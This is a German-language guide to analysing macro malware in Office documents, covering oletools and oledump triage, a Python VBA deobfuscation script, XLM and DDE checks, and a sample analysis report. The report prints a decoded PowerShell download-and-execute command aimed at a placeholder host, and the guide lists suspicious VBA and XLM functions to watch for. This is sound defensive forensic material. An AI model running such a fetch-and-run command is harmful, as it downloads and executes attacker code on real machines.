Was macht Analyse von Makro-Schadsoftware in Office-Dokumenten?
Verwendung
- Ein verdächtiges Office-Dokument (.doc, .docm, .xls, .xlsm, .ppt) wurde von der E-Mail-Sicherheit markiert
- Untersuchung von Phishing-Kampagnen, die bewaffnete Office-Dokumente ausliefern
- Extraktion von VBA-Makrocode, um die Payload-Download-URL und die Ausführungsmethode zu identifizieren
- Analyse von obfuskiertem VBA-Code, um die gesamte Angriffskette zu verstehen
- Feststellung, ob ein Dokument DDE, ActiveX oder Remote-Template-Injection anstelle von Makros verwendet
Nicht verwenden für die Analyse von nicht-makrobasierten Office-Bedrohungen (DDE, Remote-Template-Injection); obwohl dieser Skill die Erkennung dieser abdeckt, kann eine spezialisierte Analyse erforderlich sein.
Voraussetzungen
- Python 3.8+ mit installierten oletools (
pip install oletools) - oledump.py von Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
- Isolierte Analyse-VM ohne installiertes Microsoft Office (verhindert versehentliche Ausführung)
- XLMDeobfuscator für Excel 4.0-Makroanalyse (pip install xlmdeobfuscator)
- LibreOffice für sicheres Rendern von Dokumenten (führt VBA-Makros standardmäßig nicht aus)
Arbeitsablauf
Schritt 1: Erste Dokumenten-Triage
Feststellen, ob das Dokument Makros oder andere aktive Inhalte enthält:
# Schnelle Triage mit olevba
olevba suspect.docm
# Prüfung auf OLE-Streams und Makros
oleid suspect.docm
# Ausgabe-Indikatoren:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False (Remote-Template)
# ObjectPool: True/False (eingebettete Objekte)
# Flash: True/False (SWF-Objekte)
# Umfassende OLE-Analyse
oledump.py suspect.docm
# Auflistung aller OLE-Streams mit Makro-Indikatoren
# Streams mit 'M' enthalten VBA-Makros
# Streams mit 'm' enthalten Makro-Attribute
Schritt 2: VBA-Code extrahieren und analysieren
Den vollständigen VBA-Makro-Quellcode extrahieren:
# VBA mit vollständiger Deobfuskation extrahieren
olevba --decode --deobf suspect.docm
# Nur den VBA-Quellcode extrahieren
olevba --code suspect.docm > extracted_vba.txt
# Detaillierte Extraktion mit oledump
oledump.py -s 8 -v suspect.docm # Stream 8 (an die Stream-Liste anpassen)
# Alle Makro-Streams extrahieren
oledump.py -p plugin_vba_dco suspect.docm
Wichtige VBA-Elemente zur Identifizierung:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Ausführungs-Trigger:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
Verdächtige Funktionen:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell-Ausführung
- URLDownloadToFile
- MSXML2.XMLHTTP (HTTP-Anfragen)
- ADODB.Stream (Dateischreiben)
- Environ() (Umgebungsvariablen)
- CallByName (indirekte Methodenaufrufe)
Schritt 3: VBA-Code deobfuskieren
Obfuskierungsebenen entfernen, um die Payload freizulegen:
# VBA-Deobfuskationstechniken
import re
def deobfuscate_vba(code):
# 1. Chr()-Aufrufe auflösen: Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. String-Verkettung entfernen: "htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. ChrW-Aufrufe auflösen: ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. StrReverse auflösen: StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. Mid$/Left$/Right$-Obfuskation entfernen (komplex, zur manuellen Überprüfung markieren)
# 6. Replace() auflösen: Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)
Schritt 4: Excel 4.0 (XLM)-Makros analysieren
Legacy-Excel-Makros behandeln, die die VBA-Erkennung umgehen:
# XLM-Makros erkennen
olevba --xlm suspect.xlsm
# XLM-Makros deobfuskieren
xlmdeobfuscator -f suspect.xlsm
# Manuelle XLM-Analyse mit oledump
oledump.py suspect.xlsm -p plugin_biff.py
# XLM (Excel 4.0)-Makrofunktionen, auf die geachtet werden sollte:
# EXEC() - Shell-Befehl ausführen
# CALL() - DLL-Funktion aufrufen
# REGISTER() - DLL-Funktion registrieren
# URLDownloadToFileA - Datei herunterladen
# ALERT() - Nachricht anzeigen (Social Engineering)
# HALT() - Ausführung stoppen
# GOTO() - Kontrollfluss
# IF() - Bedingte Ausführung
Schritt 5: Auf Nicht-Makro-Angriffsvektoren prüfen
Das Dokument auf DDE, Remote-Templates und eingebettete Objekte untersuchen:
# Auf DDE (Dynamic Data Exchange) prüfen
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE-Feldcodes
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE gefunden in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Befehl: {m}')
# Remote-Template
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote-Template-URL: {url}')
"
# Auf eingebettete OLE-Objekte prüfen
oledump.py -p plugin_msg.py suspect.docm
# Beziehungen auf externe Verweise prüfen
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'Externer Verweis in {name}:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
Schritt 6: Analysebericht erstellen
Die vollständige Makro-Schadsoftware-Analyse dokumentieren:
Der Bericht sollte Folgendes enthalten:
- Dokument-Metadaten (Autor, Erstellungsdatum, Änderungsdatum)
- Makro-Vorhandensein und -Typ (VBA, XLM, DDE, Remote-Template)
- Identifizierter Auto-Ausführungs-Trigger
- Deobfuskierten VBA-Quellcode (Schlüsselfunktionen)
- Download-URL(s) für Payloads der zweiten Stufe
- Ausführungsmethode (Shell, WScript, PowerShell, COM-Objekt)
- Beschreibung des Social-Engineering-Köders
- Extrahierte IOCs (URLs, Domains, IPs, Datei-Hashes)
- YARA-Regel für das spezifische Dokumentenmuster
Schlüsselkonzepte
| Begriff | Definition |
|---|---|
| VBA-Makro | In Office-Dokumente eingebetteter Visual Basic for Applications-Code, der mit dem Betriebssystem interagieren, Dateien herunterladen und Befehle ausführen kann |
| Auto_Open | VBA-Ereignisprozedur, die automatisch ausgeführt wird, wenn ein Word-Dokument geöffnet wird – der primäre Auslöser für Makro-Schadsoftware |
| OLE (Object Linking and Embedding) | Microsoft Compound Document Format; Office-Dokumente sind OLE-Container mit Streams, die Makros und Objekte enthalten können |
| DDE (Dynamic Data Exchange) | Legacy-Windows-IPC-Mechanismus, der in Dokumenten missbraucht wird, um Befehle ohne Makros auszuführen; ausgelöst durch Feldcode-Updates |
| Remote-Template-Injection | Angriff, der beim Öffnen des Dokuments eine makroaktivierte Vorlage von einer Remote-URL lädt und so die anfängliche Makro-Erkennung umgeht |
| XLM-Makros (Excel 4.0) | Legacy-Excel-Makrosprache, die älter als VBA ist; in versteckten Blättern gespeichert und oft von traditionellen VBA-Analysetools übersehen |
| Geschützte Ansicht | Office-Sandbox, die die Makroausführung verhindert, bis der Benutzer auf "Inhalt aktivieren" klickt; Social Engineering zielt auf diese Barriere ab |
Werkzeuge und Systeme
- oletools (olevba): Python-Toolkit zur Analyse von OLE-Dateien, Extraktion von VBA-Makros und Erkennung verdächtiger Schlüsselwörter und IOCs
- oledump.py: Didier Stevens' Tool zur Analyse von OLE-Streams mit Plugin-Unterstützung für VBA-Dekomprimierung und -Extraktion
- XLMDeobfuscator: Speziell für die Deobfuskation von Excel 4.0 (XLM)-Makroformeln entwickeltes Tool
- ViperMonkey: VBA-Emulations-Engine, die VBA-Makros in einer Sandbox-Umgebung ausführt, um das Verhalten zu beobachten
- YARA: Mustererkennung für dokumentenbasierte Malware-Erkennung unter Verwendung von VBA-String-Mustern und OLE-Struktur-Indikatoren
Häufige Szenarien
Szenario: Analyse eines Phishing-Dokuments mit obfuskierten VBA-Makros
Kontext: Mehrere Mitarbeiter erhielten eine E-Mail mit einem angehängten .docm-Dokument, das angeblich eine Rechnung sei. Das Dokument fordert die Benutzer auf, "Inhalt aktivieren" zu klicken, um das vollständige Dokument anzuzeigen.
Vorgehen:
- oleid ausführen, um das Vorhandensein von VBA-Makros zu bestätigen und Auto-Ausführungs-Trigger zu identifizieren
- VBA-Code mit olevba --decode --deobf extrahieren für die erste Deobfuskation
- Den Einstiegspunkt für die Auto-Ausführung (Auto_Open oder Document_Open) identifizieren
- Den Ausführungsfluss vom Einstiegspunkt durch Hilfsfunktionen verfolgen
- String-Verkettung und Chr()-Kodierung deobfuskieren, um die Download-URL zu enthüllen
- Die Download-Methode (WScript.Shell, MSXML2.XMLHTTP, PowerShell) identifizieren
- Alle IOCs extrahieren und YARA-Regeln für das spezifische Obfuskationsmuster erstellen
Fallstricke:
- Das Dokument in Microsoft Office zur „Schnellanalyse“ öffnen, anstatt Befehlszeilentools zu verwenden
- Übersehen von VBA-Code, der in UserForms gespeichert ist (GUI-Elemente können Code in ihren Ereignisbehandlern enthalten)
- Ignorieren von Dokument-Metadaten, die Angreifer-Fingerabdrücke enthalten können (Autorname, Vorlagenname)
- Nicht sowohl auf VBA- als auch auf XLM-Makros im selben Dokument prüfen (manche Malware verwendet beide)
Ausgabeformat
OFFICE MAKRO-SCHADSOFTWARE ANALYSE
====================================
Dokument: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
Dateityp: Microsoft Word-Dokument (OOXML mit Makros)
Autor: Administrator
Erstellungsdatum: 2025-09-10 14:23:00
MAKRO-ANALYSE
Typ: VBA-Makro
Auslöser: AutoOpen()
Streams: 3 VBA-Streams (ThisDocument, Module1, Module2)
DEOBFUSKIERTE AUSFÜHRUNGSKETTE
1. AutoOpen() -> Ruft Module1.RunPayload() auf
2. RunPayload() erstellt Befehlszeichenfolge mittels Chr()-Verkettung
3. Befehl: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Dekodiert: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
SOCIAL-ENGINEERING-KÖDER
- Dokument zeigt gefälschtes Bild „Geschütztes Dokument“ an
- Weist Benutzer an, „Inhalt aktivieren“ zu klicken, um das Dokument anzuzeigen
- Inhalt ist unscharf/verborgen, bis Makros ausgeführt werden
EXTRAHIERTE IOCs
Download-URL: hxxp://evil[.]com/payload.ps1
C2-Domain: evil[.]com
IP-Adresse: 185.220.101[.]42
User-Agent: PowerShell (Standard-WebClient)
MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment
T1204.002 User Execution: Malicious File
T1059.001 Command and Scripting Interpreter: PowerShell
T1059.005 Command and Scripting Interpreter: Visual Basic